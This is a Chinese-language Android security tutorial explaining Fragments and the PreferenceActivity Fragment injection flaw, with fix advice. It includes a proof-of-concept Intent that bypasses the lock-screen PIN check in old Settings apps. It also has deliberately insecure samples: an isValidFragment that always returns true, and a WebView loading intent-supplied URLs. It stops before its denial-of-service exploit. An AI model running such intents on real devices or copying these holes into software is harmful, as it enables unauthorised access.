也許每個(gè)人出生的時(shí)候都以為這世界都是為他一個(gè)人而存在的,當(dāng)他發(fā)現(xiàn)自己錯(cuò)的時(shí)候,他便開(kāi)始長(zhǎng)大
少走了彎路,也就錯(cuò)過(guò)了風(fēng)景,無(wú)論如何,感謝經(jīng)歷
更多關(guān)于Android安全的知識(shí),可前往:https://blog.csdn.net/ananasorangey/category11955914.html
0x01 前言
為了適應(yīng)越來(lái)越大的設(shè)備屏幕,Android 3.X后引入了Fragment概念,作用是可以在一個(gè)屏幕上同時(shí)顯示多個(gè)Activity,以達(dá)到充分利用屏幕的目的。其中,F(xiàn)ragment有一個(gè)很強(qiáng)大的功能,就是可以動(dòng)態(tài)加載。這樣可以讓整個(gè)界面的開(kāi)發(fā)更加靈活,可以根據(jù)不同的場(chǎng)景動(dòng)態(tài)加加載不同的Activity
Fragment:
- 是Android 3.0(API 11)提出的,為了兼容低版本,support-v4庫(kù)中也開(kāi)發(fā)了一套Fragment API,最低兼容Android 1.6,如果要在最新的版本中使用Fragment,需要引入AndroidX的包
- 是Activity中用戶界面的一個(gè)行為或者是一部分。主要是支持在大屏幕上動(dòng)態(tài)和更為靈活的去組合或是交換UI組件,通過(guò)將Activity的布局分割成若干個(gè)Fragment,可以在運(yùn)行時(shí)編輯Activity的呈現(xiàn),并且那些變化會(huì)被保存在由Activity管理的后臺(tái)棧里面
- 必須總是被嵌入到一個(gè)Activity之中,并且Fragment的生命周期直接受其宿主Activity的生命周期的影響??梢哉J(rèn)為Fragment是Activity的一個(gè)模塊零件,它有自己的生命周期,接收它自己的輸入事件,并且可以在Activity運(yùn)行時(shí)添加或者刪除
簡(jiǎn)單的來(lái)說(shuō),應(yīng)該將每一個(gè)Fragment設(shè)計(jì)為模塊化的和可復(fù)用化的Activity組件。也就是說(shuō),你可以在多個(gè)Activity中引用同一個(gè)Fragment,因?yàn)镕ragment定義了它自己的布局,并且使用它本身生命周期回調(diào)的行為
相比Activity,F(xiàn)ragment具有如下一些特點(diǎn):
- 模塊化(Modularity):我們不必把所有代碼全部寫(xiě)在Activity中,而是把代碼寫(xiě)在各自的Fragment中
- 可重用(Reusability):多個(gè)Activity可以重用一個(gè)Fragment
- 可適配(Adaptability):根據(jù)硬件的屏幕尺寸、屏幕方向,能夠方便地實(shí)現(xiàn)不同的布局,這樣用戶體驗(yàn)更好
Fragment 幾個(gè)核心的類(lèi):
- Fragment:Fragment的基類(lèi),任何創(chuàng)建的Fragment都需要繼承該類(lèi)
- FragmentManager:管理和維護(hù)Fragment。它是抽象類(lèi),具體的實(shí)現(xiàn)類(lèi)是FragmentManagerImpl
- FragmentTransaction:對(duì)Fragment的添加、刪除等操作都需要通過(guò)事務(wù)方式進(jìn)行。它是抽象類(lèi),具體的實(shí)現(xiàn)類(lèi)是BackStackRecord
1.1 生命周期
Fragment必須是依存于Activity而存在的,因此Activity的生命周期會(huì)直接影響到Fragment的生命周期。正常情況下,Activity會(huì)經(jīng)歷如下幾個(gè)階段:
生命周期函數(shù) | 相關(guān)解釋 |
onAttach() | 關(guān)聯(lián)到Activity的時(shí)候調(diào)用。如果,需要使用Activity的引用或者使用Activity作為其他操作的上下文,將在此回調(diào)方法中實(shí)現(xiàn) |
onCreate() | 系統(tǒng)創(chuàng)建Fragment的時(shí)候回調(diào) |
onCreateView() | 當(dāng)?shù)谝淮卫L制Fragment的UI時(shí)系統(tǒng)調(diào)用這個(gè)方法,該方法將返回一個(gè)View,如果Fragment不提供UI也可以返回null。注意,如果繼承自ListFragment,onCreateView()默認(rèn)的實(shí)現(xiàn)會(huì)返回一個(gè)ListView,所以不用自己實(shí)現(xiàn)。這個(gè)函數(shù)的Bundle參數(shù)和onCretate()函數(shù)的Bundle蠶食是同一個(gè) |
onActivityCreated() | 當(dāng)Activity中的onCreate方法執(zhí)行完后調(diào)用。可以在這個(gè)函數(shù)里面做和Activity UI交互的操作(因?yàn)锳ctivity的onCreate()函數(shù)之后Activity的UI已經(jīng)準(zhǔn)備好了,可以UI交互)。這個(gè)函數(shù)的Bundle參數(shù)和onCretate()函數(shù)的Bundle蠶食是同一個(gè) |
onStart() | 啟動(dòng)Fragment的時(shí)候回調(diào),這個(gè)時(shí)候Fragment可見(jiàn) |
onResume() | Fragment變?yōu)榛顒?dòng)狀態(tài)獲取焦點(diǎn)的時(shí)候是回調(diào),這個(gè)時(shí)候Fragment已經(jīng)完全展示在前臺(tái),并且可以和用戶交互 |
onPause() | Fragemnt變成非活動(dòng)狀態(tài)失去焦點(diǎn)的時(shí)候調(diào)用,注意這個(gè)時(shí)候Fragment還是可見(jiàn)的,只是不能和用戶交互了而已 |
onStop() | Fragment變成不可見(jiàn)的時(shí)候調(diào)用。這個(gè)時(shí)候Fragment還是活著的,只是可能別加入到了Fragment的回退棧中 |
onDestroyView() | Fragment中的布局被移除的時(shí)候調(diào)用 |
onDestroy() | Fragment被銷(xiāo)毀的時(shí)候調(diào)用 |
onDetach() | Fragment和Activity解除關(guān)聯(lián)的時(shí)候調(diào)用個(gè) |
如下圖所示:
如下圖是Activity的生命周期和Fragment的各個(gè)生命周期方法的對(duì)應(yīng)關(guān)系:
1.2 與Activity傳遞數(shù)據(jù)
1)將Fragment添加到Activity之中
可以通過(guò)在Activity布局文件中聲明Fragment,用Fragment標(biāo)簽把Fragment插入到Activity的布局中,或者是用應(yīng)用程序源碼將它添加到一個(gè)存在的ViewGroup中?!?但Fragment并不是一個(gè)定要作為Activity布局的一部分,F(xiàn)ragment也可以為Activity隱身工作
2)在Activity的布局文件里聲明Fragment
可以像為view一樣為Fragment指定布局屬性。例如:
Fragment標(biāo)簽中的android:name 屬性指定了布局中實(shí)例化的Fragment類(lèi)。
當(dāng)系統(tǒng)創(chuàng)建Activity布局時(shí),它實(shí)例化了布局文件中指定的每一個(gè)Fragment,并為它們調(diào)用onCreateView()函數(shù),以獲取每一個(gè)Fragment的布局。系統(tǒng)直接在元素的位置插入Fragment返回的View
注:每個(gè)Fragment都需要一個(gè)唯一的標(biāo)識(shí),如果重啟Activity,系統(tǒng)可用來(lái)恢復(fù)Fragment(并且可用來(lái)捕捉Fragment的事務(wù)處理,例如移除)。為Fragment提供ID有三種方法:
1)用android:id屬性提供一個(gè)唯一的標(biāo)識(shí)2)用android:tag屬性提供一個(gè)唯一的字符串3)如果上述兩個(gè)屬性都沒(méi)有,系統(tǒng)會(huì)使用其容器視圖(view)的ID
3)通過(guò)編碼將Fragment添加到已存在的ViewGroup中
在Activity運(yùn)行的任何時(shí)候,你都可以將Fragment添加到Activity布局中。要管理Activity中的Fragment,可以使用FragmentManager??梢酝ㄟ^(guò)在Activity中調(diào)用getFragmentManager()獲得。使用FragmentManager 可以做如下事情,包括:
- 使用findFragmentById()(用于在Activity布局中提供有界面的Fragment)或者findFragmentByTag()獲取Activity中存在的Fragment(用于有界面或者沒(méi)有界面的Fragment)
- 使用popBackStack()(模仿用戶的BACK命令)從后臺(tái)棧彈出Fragment
- 使用addOnBackStackChangedListener()注冊(cè)一個(gè)監(jiān)聽(tīng)后臺(tái)棧變化的監(jiān)聽(tīng)器
在Android中,對(duì)Fragment的事務(wù)操作都是通過(guò)FragmentTransaction來(lái)執(zhí)行。操作大致可以分為兩類(lèi):
- 顯示:add() replace() show() attach()
- 隱藏:remove() hide() detach()
注:調(diào)用show() & hide()方法時(shí),F(xiàn)ragment的生命周期方法并不會(huì)被執(zhí)行,僅僅是Fragment的View被顯示或者隱藏
- 執(zhí)行replace()時(shí)(至少兩個(gè)Fragment),會(huì)執(zhí)行第二個(gè)Fragment的onAttach()方法、執(zhí)行第一個(gè)Fragment的onPause()-onDetach()方法,同時(shí)containerView會(huì)detach第一個(gè)Fragment的View
- add()方法執(zhí)行onAttach()-onResume()的生命周期,相對(duì)的remove()就是執(zhí)行完成剩下的onPause()-onDetach()周期
可以像下面這樣從Activity中取得FragmentTransaction的實(shí)例:
FragmentManager FragmentManager = getFragmentManager() FragmentTransaction FragmentTransaction = FragmentManager.beginTransaction();
可以用add()函數(shù)添加Fragment,并指定要添加的Fragment以及要將其插入到哪個(gè)視圖(view)之中(注意commit事務(wù)):
ExampleFragment Fragment = new ExampleFragment();FragmentTransaction.add(R.id.Fragment_container, Fragment);FragmentTransaction.commit();
4)Fragment事務(wù)后臺(tái)棧
在調(diào)用commit()之前,可以將事務(wù)添加到Fragment事務(wù)后臺(tái)棧中(通過(guò)調(diào)用addToBackStatck())。這個(gè)后臺(tái)棧由Activity管理,并且允許用戶通過(guò)按BACK鍵回退到前一個(gè)Fragment狀態(tài)。
下面的代碼中一個(gè)Fragment代替另一個(gè)Fragment,并且將之前的Fragment狀態(tài)保留在后臺(tái)棧中:
Fragment newFragment = new ExampleFragment();FragmentTransaction transaction = getFragmentManager().beginTransaction();transaction.replace(R.id.Fragment_container, newFragment);transaction.addToBackStack(null);transaction.commit();
注:
- 如果添加多個(gè)變更事務(wù)(例如另一個(gè)add()或者remove())并調(diào)用addToBackStack(),那么在調(diào)用commit()之前的所有應(yīng)用的變更被作為一個(gè)單獨(dú)的事務(wù)添加到后臺(tái)棧中,并且BACK鍵可以將它們一起回退
- 當(dāng)移除一個(gè)Fragment時(shí),如果調(diào)用了addToBackStack(),那么之后Fragment會(huì)被停止,如果用戶回退,它將被恢復(fù)過(guò)來(lái)
- 調(diào)用commit()并不立刻執(zhí)行事務(wù),相反,而是采取預(yù)約方式,一旦Activity的界面線程(主線程)準(zhǔn)備好便可運(yùn)行起來(lái)。然而,如果有必要的話,你可以從界面線程調(diào)用executePendingTransations()立即執(zhí)行由commit()提交的事務(wù)
- 只能在Activity保存狀態(tài)(當(dāng)用戶離開(kāi)Activity時(shí))之前用commit()提交事務(wù)。如果你嘗試在那時(shí)之后提交,會(huì)拋出一個(gè)異常。這是因?yàn)槿绻鸄ctivity需要被恢復(fù),提交后的狀態(tài)會(huì)被丟失。對(duì)于這類(lèi)丟失提交的情況,可使用commitAllowingStateLoss()
5)與Activity交互
Activity中已經(jīng)有了該Fragment的引用,直接通過(guò)該引用進(jìn)行交互。
如果沒(méi)引用可以通過(guò)調(diào)用Fragment的函數(shù)findFragmentById()或者findFragmentByTag(),從FragmentManager中獲取Fragment的索引,例如:
ExampleFragment Fragment = (ExampleFragment) getFragmentManager().findFragmentById(R.id.example_Fragment);
在Fragment中可以通過(guò)getActivity得到當(dāng)前綁定的Activity的實(shí)例,創(chuàng)建Activity事件回調(diào)函數(shù),在Fragment內(nèi)部定義一個(gè)回調(diào)接口,宿主Activity來(lái)實(shí)現(xiàn)它。Activity向Fragment傳參:
很多人提到向Fragment傳遞參數(shù)會(huì)下意識(shí)想到重寫(xiě)Fragment的構(gòu)造方法并傳入自己的參數(shù)。事實(shí)上,這種方式時(shí)極不科學(xué)和極不安全的,因?yàn)锳ndroid在很多場(chǎng)景下都會(huì)出現(xiàn)Fragment的重建情況(比如橫豎屏的切換),但是重建的時(shí)候系統(tǒng)并不會(huì)使用你編寫(xiě)的Fragment的構(gòu)造方法而是調(diào)用Fragment默認(rèn)的構(gòu)造方法,這個(gè)時(shí)候你傳的參數(shù)將會(huì)消失導(dǎo)致各種異常。那么如何更安全地向Fragment傳遞參數(shù)呢,Google官方推薦的setArguments方法:
- 初始化Fragment實(shí)例并setArguments
DiscoverFragment discoverFragment = new DiscoverFragment();Bundle bundle = new Bundle();bundle.putString(“email”, email);discoverFragment.setArguments(bundle);
- 在Fragment中拿到Arguments:
@Nullable@Overridepublic View onCreateView(@NonNull LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) {View view = inflater.inflate(R.layout.Fragment_discover, null);Bundle bundle = getArguments();//這里就拿到了之前傳遞的參數(shù)email = bundle.getString(“email”);return view;}
- Fragment向Activity傳遞數(shù)據(jù)
首先,在Fragment中定義接口,并讓Activity實(shí)現(xiàn)該接口,如下:
public interface OnFragmentInteractionListener {void onItemClick(String str);}
接下來(lái),在Fragment的onAttach()中,將參數(shù)Context強(qiáng)轉(zhuǎn)為OnFragmentInteractionListener對(duì)象傳遞過(guò)去
public void onAttach(Context context) {super.onAttach(context);if (context instanceof OnFragmentInteractionListener) {mListener = (OnFragmentInteractionListener) context;} else {throw new RuntimeException(context.toString()+ ” must implement OnFragmentInteractionListener”);}}
- Activity向Fragment傳遞數(shù)據(jù)
在創(chuàng)建Fragment的時(shí)候,可以通過(guò)setArguments(Bundle bundle)方式將值傳遞給Activity,如下:
public static Fragment newInstance(String str) {FragmentTest fragment = new FragmentTest();Bundle bundle = new Bundle();bundle.putString(ARG_PARAM, str);fragment.setArguments(bundle);//設(shè)置參數(shù)return fragment;}
6)Fragment && Fragment數(shù)據(jù)交互
Fragment和Fragment間數(shù)據(jù)交互,應(yīng)該也是會(huì)經(jīng)常用到的??墒褂盟拗鰽ctivity做傳遞媒介,原理其實(shí)也是通過(guò)使用onActivityResult回調(diào),完成Fragment && Fragment的數(shù)據(jù)交互,這其中有兩個(gè)比較重要的方法:Fragment.setTargetFragment、getTargetFragment()
在 FirstFragment 中,通過(guò)setTargetFragment來(lái)連接需要交互的Fragment:
secondFragment.setTargetFragment(FirstFragment.this, REQUEST_CODE);
接著實(shí)現(xiàn)onActivityResult,處理傳遞過(guò)來(lái)的數(shù)據(jù):
@Override public void onActivityResult(int requestCode, int resultCode, Intent data) { super.onActivityResult(requestCode, resultCode, data); if(resultCode != Activity.RESULT_OK){ return; }else{ Integer str = data.getIntExtra(“key”,-1); //處理數(shù)據(jù)… } }
在 SecondFragment 中調(diào)用sendResult()方法,回傳數(shù)據(jù)給 FirstFragment:
private void sendResult(int resultOk) {if (getTargetFragment() == null) {return} else {Intent intent = new Intent();intent.putExtra(“key”, 520);getTargetFragment().onActivityResult(FirstFragment.REQUEST_CODE, resultOk, intent)}}
1.3 Android Fragment 漏洞產(chǎn)生的原因
Android是基于Linux開(kāi)放性內(nèi)核的操作系統(tǒng),是Google公司在2007年發(fā)布的手機(jī)操作系統(tǒng)
Google Android 4.3及之前版本的沙盒環(huán)境存在安全漏洞,該漏洞影響任何使用PreferenceActivity類(lèi)的應(yīng)用,包括Settings, Gmail, Google Now, Dropbox, Evernote。攻擊者可利用此漏洞執(zhí)行任意代碼,從而繞過(guò)Android沙盒,執(zhí)行未授權(quán)操作
Android 4.3及之前版本在應(yīng)用中采用不安全的 PreferenceActivity 類(lèi)實(shí)施方式的開(kāi)發(fā)者。在這種情況下,這些類(lèi)會(huì)讓人利用 Fragment 實(shí)現(xiàn)注入攻擊,這種實(shí)現(xiàn)方式讓惡意的外部應(yīng)用可以加載原本不公開(kāi)的 Fragment。例如,通過(guò)導(dǎo)出的PreferenceActivity的子類(lèi),沒(méi)有正確處理Intent的extra值。攻擊者可繞過(guò)限制訪問(wèn)未授權(quán)的界面
從 2017 年 3 月 1 日起,Google Play 開(kāi)始禁止發(fā)布存在以下情況的新應(yīng)用或應(yīng)用更新:其 PreferenceActivity 類(lèi)可能有安全漏洞,讓攻擊者可以利用 Fragment 實(shí)現(xiàn)注入攻擊。請(qǐng)參閱 Play 管理中心內(nèi)的通知。在 Play 管理中心顯示的截止日期過(guò)后,系統(tǒng)可能會(huì)將所有包含未修復(fù)安全漏洞的應(yīng)用從 Google Play 中移除
產(chǎn)生的原因:
- 錯(cuò)誤地實(shí)施 isValidFragment:
檢查存在漏洞的類(lèi)是否包含或沿用了實(shí)施 isValidFragment 的方式(即在所有代碼路徑中返回 True)。如果確實(shí)是這樣,請(qǐng)更新該類(lèi),以檢查是否存在允許的 Fragment 類(lèi)列表。例如:如果 PreferenceActivity 應(yīng)該允許使用 MyFragment 類(lèi)而不得使用其他 Fragment,請(qǐng)按照如下方式實(shí)施檢查:
public boolean isValidFragment(String fragmentName) {return MyFragment.class.getName().equals(fragmentName);}
- targetSdkVersion 小于 19 并且未實(shí)施 isValidFragment:
如果應(yīng)用目前在清單中將其 targetSdkVersion 設(shè)為小于 19 的值,并且存在漏洞的類(lèi)不包含 isValidFragment 的任何實(shí)施方式,那么漏洞便來(lái)自于 PreferenceActivity。
注:由于Fragment可以加載APP內(nèi)的任意未導(dǎo)出組件,因此Fragment注入漏洞可攻擊面比較廣
0x02 經(jīng)典Setting Fragment Inject漏洞之繞過(guò)舊密碼驗(yàn)證修改密碼
首先我們來(lái)看一個(gè)經(jīng)典的老洞,雖然現(xiàn)在沒(méi)有了,但漏洞產(chǎn)生的原理,還是值得思考,而且修復(fù)的方式并不一定代表再新的版本中就不存在,這取決于開(kāi)發(fā)人員的安全能力
Android 4.4之前版本的Fragment繞過(guò)PIN碼攻擊原理:
- 導(dǎo)出的PreferenceActivity的子類(lèi)中,沒(méi)有加入isValidFragment方法,進(jìn)行fragment名的合法性校驗(yàn),攻擊者可能會(huì)通過(guò)設(shè)置Intent的extra,實(shí)現(xiàn)動(dòng)態(tài)修改PreferenceActivity的初次顯示的Fragment,來(lái)繞過(guò)限制,訪問(wèn)未授權(quán)的界面
攻擊條件:
- Android 4.3及之前版本
- 有Activity繼承PreferenceActivity類(lèi)并且被聲明成export=true
攻擊面:
- 在Java中,當(dāng)一個(gè)對(duì)象被構(gòu)建的時(shí)候,這個(gè)類(lèi)的靜態(tài)構(gòu)建函數(shù)和對(duì)象的構(gòu)建函數(shù)都被執(zhí)行,如果這兩個(gè)函數(shù)包含特定的代碼, 則可以觸發(fā)攻擊,由于構(gòu)建出來(lái)的對(duì)象需要轉(zhuǎn)換成Fragment對(duì)象,所以當(dāng)產(chǎn)生的對(duì)象不是Fragment類(lèi)型則會(huì)出異常
- 但是,如果這個(gè)對(duì)象剛好是一個(gè)Fragment類(lèi)型時(shí),PreferenceActivity能展現(xiàn)對(duì)應(yīng)的界面,可以繞過(guò)某些驗(yàn)證而直接呼出對(duì)應(yīng)的界面
手工檢測(cè):
- 反編譯APK,檢索到繼承PreferenceActivity的子類(lèi),查看子類(lèi)是否重寫(xiě)了isValidFragment方法,Activity是否對(duì)外暴露(exported)
相關(guān)知識(shí):
- PreferenceActivity兩個(gè)重要的Intent Extra
這兩個(gè)參數(shù)可以決定當(dāng)前的PreferenceActivity首次顯示的Fragment
// extra域包含PreferenceActivity要?jiǎng)討B(tài)加載的FragmentPreferenceActivity.EXTRA_SHOW_FRAGMENT (‘:android:show_fragment’) // extra域包含傳給該Fragment的參數(shù)PreferenceActivity.EXTRA_SHOW_FRAGMENT_ARGUMENTS (‘:android:show_fragment_arguments’)
注:Android Framework提供了android.preference.PreferenceActivity這個(gè)類(lèi)來(lái)對(duì)preference進(jìn)行展示,我們可以繼承這個(gè)類(lèi)來(lái)展示preference并進(jìn)行擴(kuò)展?;?lèi)中會(huì)接收Intent數(shù)據(jù),并進(jìn)行一定檢查,如上兩個(gè)類(lèi)就是
Fragment與Activity的關(guān)系:
- 一個(gè)activity提供一個(gè)單一的屏幕和一些功能,一個(gè)activity可以包含多個(gè)Fragment
- Fragment可以在不同的activities中重用
Android框架支持在Activity中以Fragment的形式展示界面,而PreferenceActivity是一個(gè)支持Fragment的基類(lèi)activity,它會(huì)根據(jù)傳人的參數(shù)EXTRA_SHOW_FRAGMENT, (‘:android:show_fragment’)動(dòng)態(tài)創(chuàng)建fragment而現(xiàn)實(shí)相應(yīng)的界面, 問(wèn)題就出在PreferenceActivity沒(méi)有檢查傳入的參數(shù), 盲目的根據(jù)傳入的參數(shù)構(gòu)建對(duì)象
利用Fragment實(shí)現(xiàn)注入攻擊。從3.X后,Android工程師重構(gòu)PreferenceActivity的實(shí)現(xiàn),采用Fragment實(shí)現(xiàn)界面的加載。通過(guò)閱讀源碼可以發(fā)現(xiàn),PreferenceActivity的onCreate里,需要讀取Intent的多個(gè)extra內(nèi)容,常量都定義在PreferenceActivity里(那堆EXTRA_XXXX就是了),其中有兩個(gè)常量分別是EXTRA_SHOW_FRAGMENT=”:android:show_fragment”和EXTRA_SHOW_FRAGMENT_ARGUMENTS=”:android:show_fragment_args”,這兩個(gè)參數(shù)可以決定當(dāng)前的PreferenceActivity首次顯示的Fragment。過(guò)程比較簡(jiǎn)單,就是先拿到fragment_class和fragment_args,然后通過(guò)反射生成一個(gè)Fragment實(shí)例,并動(dòng)態(tài)加載。參數(shù)傳遞關(guān)鍵點(diǎn):參數(shù)傳遞
- 第一個(gè)extra域包含PreferenceActivity要?jiǎng)討B(tài)加載的Fragment,F(xiàn)ragment也可以通過(guò)Fragment.getActivity這個(gè)函數(shù)來(lái)獲取傳進(jìn)來(lái)的參數(shù)。PreferenceActivity會(huì)調(diào)用Fragment.instantiate來(lái)動(dòng)態(tài)加載Fragment.這個(gè)函數(shù)通過(guò)反射來(lái)加載Fragment,并把它變成Fragment對(duì)象
- 第二個(gè)extra域包含傳給該Fragment的參數(shù),其中最關(guān)鍵的邏輯代碼如下:
mSinglePane = hidingHeaders || !onIsMultiPane();String initialFragment = getIntent().getStringExtra(EXTRA_SHOW_FRAGMENT);Bundle initialArguments = getIntent().getBundleExtra(EXTRA_SHOW_FRAGMENT_ARGUMENTS);int initialTitle = getIntent().getIntExtra(EXTRA_SHOW_FRAGMENT_TITLE, 0);int initialShortTitle = getIntent().getIntExtra(EXTRA_SHOW_FRAGMENT_SHORT_TITLE, 0);
先獲取initalFragment和initialArguments兩個(gè)參數(shù),之后在switchToHeaderInner里完成實(shí)例化:
private void switchToHeaderInner(String fragmentName, Bundle args, int direction) {getFragmentManager().popBackStack(BACK_STACK_PREFS, FragmentManager.POP_BACK_STACK_INCLUSIVE);Fragment f = Fragment.instantiate(this, fragmentName, args);FragmentTransaction transaction = getFragmentManager().beginTransaction();transaction.setTransition(FragmentTransaction.TRANSIT_FRAGMENT_FADE);transaction.replace(com.android.internal.R.id.prefs, f);transaction.commitAllowingStateLoss();}
到此為止,我們可以通過(guò)設(shè)置Intent的extral,實(shí)現(xiàn)動(dòng)態(tài)修改PreferenceActivity的初次顯示的Fragment
多啰嗦一下,其實(shí)Fragment也可以通過(guò)Fragment.getActivity這個(gè)函數(shù)來(lái)獲取傳進(jìn)來(lái)的參數(shù)。PreferenceActivity會(huì)調(diào)用Fragment.instantiate來(lái)動(dòng)態(tài)加載Fragment.這個(gè)函數(shù)通過(guò)反射來(lái)加載Fragment,并把它變成Fragment對(duì)象,如下圖:
https://www.androidos.net.cn/android/4.3_r1/xref/frameworks/base/core/java/android/app/Fragment.java
任何繼承自PreferenceActivity并對(duì)外導(dǎo)出的組件,都會(huì)受到攻擊。惡意APP可以傳android:show_fragment這個(gè)extra值來(lái)指定要?jiǎng)討B(tài)加載的類(lèi)。在PreferenceActivity的context里,通過(guò)dalvik.system.PathClassLoader函數(shù)來(lái)動(dòng)態(tài)加載類(lèi),由于沒(méi)有對(duì)請(qǐng)求的APP進(jìn)行校驗(yàn),惡意APP可以動(dòng)態(tài)加載有漏洞APP里面的任何類(lèi)(包括未導(dǎo)出類(lèi)),使得惡意APP可以訪問(wèn)有漏洞APP的隱私信息
對(duì)比4.4和4.2之間的區(qū)別代碼,如下:
https://www.androidos.net.cn/android/4.4.4_r1/xref/frameworks/base/core/java/android/app/Fragment.java
https://www.androidos.net.cn/android/4.2.2_r1/xref/frameworks/base/core/java/android/app/Fragment.java
在Android系統(tǒng)里,APP與APP是互相隔離的,互相之間不能訪問(wèn)對(duì)方的私有數(shù)據(jù)。APP與APP之間(更準(zhǔn)確地說(shuō)應(yīng)該是組件與組件之間)的通訊,統(tǒng)一使用Intent。通過(guò)Intent可以很方便的喚起其他APP的Activity,達(dá)到功能重用的目的。比如平時(shí)使用ZAKER,你需要在微信圈里分享,通過(guò)這種方式就可以直接跳到微信的分享界面了。但使用這種方式的前提是目標(biāo)Activity是exported的
結(jié)合上面的兩個(gè)關(guān)鍵點(diǎn),我們是否可以尋找一個(gè)exported的PreferenceActivity的子類(lèi),并通過(guò)精心設(shè)置Intent的extral的值,以實(shí)現(xiàn)打開(kāi)那些沒(méi)有exported的界面呢?如果這些界面涉及安全方面信息的話,又會(huì)怎樣呢?
Android 3.X到4.3中的所有版本的一個(gè)漏洞,太老了沒(méi)啥用(但攻擊的思路以及概念值得參考),Setting幾乎每個(gè)Android設(shè)備都有的。Setting是以system_uid方式簽名,所以具備行使system的權(quán)力。它的主界面com.android.settings.Settings就是繼承自PreferenceActivity,而且肯定是exported。我們以此作為入口,嘗試尋找Setting里有哪些重要的Fragment,并嘗試把它加載進(jìn)來(lái),主要目的是希望可以跳過(guò)某些需要用戶交互的限制。比如說(shuō)ChooseLockPassword$ChooseLockPasswordFragment這個(gè)Fragment,這個(gè)類(lèi)主要是負(fù)責(zé)鎖屏界面的密碼設(shè)定和修改。同時(shí),這個(gè)類(lèi)會(huì)根據(jù)之前傳入的initialArguments做不同的邏輯,關(guān)鍵代碼如下所示:
Intent intent = getActivity().getIntent();final boolean confirmCredentials = intent.getBooleanExtra(“confirm_credentials”, true);if (savedInstanceState == null) {updateStage(Stage.Introduction);if (confirmCredentials) {mChooseLockSettingsHelper.launchConfirmationActivity(CONFIRM_EXISTING_REQUEST, null, null);}} else {mFirstPin = savedInstanceState.getString(KEY_FIRST_PIN);final String state = savedInstanceState.getString(KEY_UI_STAGE);if (state != null) {mUiStage = Stage.valueOf(state);updateStage(mUiStage);}}
如果傳入的參數(shù)當(dāng)中,key為”confirm_credentials”為true,就會(huì)調(diào)起舊密碼驗(yàn)證的流程。如果為false,就可以跳過(guò)舊密碼驗(yàn)證而直接進(jìn)入密碼修改的流程。測(cè)試代碼如下所示:
Intent intent = new Intent();intent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);intent.setClassName(“com.android.settings”, “com.android.settings.Settings”);intent.putExtra(“: android: show_fragment”, “com.android.settings.ChooseLockPassword$ChooseLockPasswordFragment”);intent.putExtra(“confirm_credentials”, false);startActivity(intent);
繞過(guò)密碼PIN BUG存在于3.X到4.3中的所有版本,4.4已經(jīng)修復(fù)了,在Android 4.4中強(qiáng)制所有PreferenceActivity必須要實(shí)現(xiàn)isValidFragment方法,如下:
https://developer.android.com/reference/android/preference/PreferenceActivity.html#isValidFragment(java.lang.String)
正常的密碼修改流程是”設(shè)置”->“安全”->“屏幕鎖定”->“確認(rèn)你的PIN”,如下:
如果利用攻擊代碼,即可跳過(guò)“確認(rèn)你的PIN”直接進(jìn)入“選擇你的PIN”頁(yè)面,如下:
注:漏洞雖然修復(fù)了,但是修復(fù)能力主要依賴于開(kāi)發(fā)人員的安全能力問(wèn)題,這類(lèi)問(wèn)題在新版本上,依然存在
2.1 修復(fù)建議
- 如果應(yīng)用的Activity組件不必要導(dǎo)出,或者組件配置了intent filter標(biāo)簽,建議顯示設(shè)置組件的“android:exported”屬性為false
- 重寫(xiě)繼承子類(lèi)的isValidFragment方法,驗(yàn)證Fragment來(lái)源的正確性
- 當(dāng)targetSdk大于等于19時(shí),強(qiáng)制實(shí)現(xiàn)了isValidFragment方法;小于19時(shí),在PreferenceActivity的子類(lèi)中都要加入isValidFragment ,兩種情況下在isValidFragment方法中進(jìn)行fragment名的合法性校驗(yàn)。
- isValidFragment(String fragmentName) 返回Boolean(子類(lèi)應(yīng)當(dāng)重寫(xiě)這個(gè)方法,并對(duì)fragment進(jìn)行校驗(yàn)判斷)
public final class MyPreferenceActivity extends PreferenceActivity {private boolean doValidcheck(String fragmentName) throws IllegalArgumentException {// TODO 做合法性檢查return true;// 注意check,千萬(wàn)要注意}// 添加上這個(gè)方法,以使2.x~4.3的代碼在4.4上可以正常運(yùn)行protected boolean isValidFragment(String fragmentName) {return doValidcheck(fragmentName);}@Overrideprotected void onCreate(Bundle savedInstanceState) {// 在onCreate前就做合法性判斷Stringfragmentname = getIntent().getStringExtra(“:android:show_fragment”);doValidcheck(fragmentname);super.onCreate(savedInstanceState);}}
0x03 Android Fragment之拒絕服務(wù)
樣本APK下載地址:https://github.com/AndroidAppSec/vuls/releases/tag/v4.2
由于通過(guò)該漏洞可以加載APP里面的任何類(lèi),包括未導(dǎo)出類(lèi),如果未導(dǎo)出類(lèi)對(duì)畸形消息處理不當(dāng),將會(huì)導(dǎo)致本地拒絕服務(wù)漏洞。下面以vuls.apk為例
ddns.android.vuls.activities.Activity.FragmentActivity組件對(duì)外導(dǎo)出:
ddns.android.vuls.activities.Activity.FragmentActivity組件繼承自PreferenceActivity:
public class FragmentActivity extends PreferenceActivity {@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);}@Overrideprotected boolean isValidFragment(String fragmentName) {Log.e(“FragmentVuls”, “fragmentName: ” + fragmentName);return true;}}
由于沒(méi)有對(duì)Fragment注入漏洞進(jìn)行防御,可通過(guò)該漏洞加載app內(nèi)任意不導(dǎo)出的組件。選擇com.irccloud.android.fragment.ServerReorderFragment作為攻擊目標(biāo):
public class TargetFragment extends Fragment {public TargetFragment() {Log.e(“DDNS: “, “TargetFragment’s constructor”);}@Overridepublic void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);}@Overridepublic View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {View view = inflater.inflate(R.layout.fragment_target,null);WebView webview = (WebView) view.findViewById(R.id.webview_fragment);webview.getSettings().setJavaScriptEnabled(true);webview.loadUrl(getActivity().getIntent().getDataString());return view;}}
ServerReorderFragment沒(méi)有對(duì)畸形消息進(jìn)行處理,導(dǎo)致拒絕服務(wù),攻擊EXP,如下:
- MainActivity.java 代碼:
